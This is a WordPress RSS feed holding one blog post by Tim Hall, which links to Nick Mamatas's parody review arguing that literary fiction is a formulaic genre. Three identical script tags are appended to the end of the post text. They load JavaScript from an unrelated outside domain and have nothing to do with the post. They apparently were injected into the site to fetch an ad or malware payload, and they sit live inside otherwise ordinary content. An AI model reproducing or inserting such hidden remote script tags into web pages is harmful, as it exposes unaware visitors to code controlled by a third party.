<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; Nick Mamatas</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/nick-mamatas/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>The Inevitability of Formulaic Writing in Literary Fiction</title>
		<link>http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/the-inevitability-of-formulaic-writing-in-literary-fiction/</link>
		<comments>http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/the-inevitability-of-formulaic-writing-in-literary-fiction/#comments</comments>
		<pubDate>Mon, 30 Sep 2013 12:14:44 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Science Fiction]]></category>
		<category><![CDATA[Genres]]></category>
		<category><![CDATA[Nick Mamatas]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=8801</guid>
		<description><![CDATA[Nick Mamatas's reviews what seems a rather formulaic piece of "mainstream" fiction, written as a parody of the way Literary Fiction snobs routinely dismiss genre fiction. <a href="http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/the-inevitability-of-formulaic-writing-in-literary-fiction/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-8803" title="LitSnobs" src="http://www.kalyr.co.uk/weblog/wp-content/uploads/2013/09/LitSnobs-150x150.jpg" alt="" width="150" height="150" />Got to love this. <a href="http://nihilistic-kid.livejournal.com/1857140.html">Nick Mamatas reviews</a> what seems a rather formulaic piece of &#8220;mainstream&#8221; fiction, written as a parody of the way Literary Fiction snobs routinely dismiss genre fiction.</p>
<blockquote><p>As is well known, literary fiction is not taken very seriously by superior readers because the form is essentially formula. The protagonists are stock characters, a small handful of dramatic situations are raked over time and again, innovation is despised and mere competence celebrated (literary writing is even called &#8220;a craft&#8221;, along the lines of cabinetmaking or macramÃ©), and all of the other elements of fiction are subsumed to tedious moral lessons suited primarily to the adolescents and arrested adolescents that read the stuff.</p></blockquote>
<p>Read the whole thing, and it restates the case that &#8220;literary fiction&#8221; is as much a genre as science-fiction, romance or crime. It even identifies the genre&#8217;s defining tropes, one of which seems to be &#8220;Nothing apart from adultery happens until the very end of the book&#8221;.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/sf-and-gaming/sf/the-inevitability-of-formulaic-writing-in-literary-fiction/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
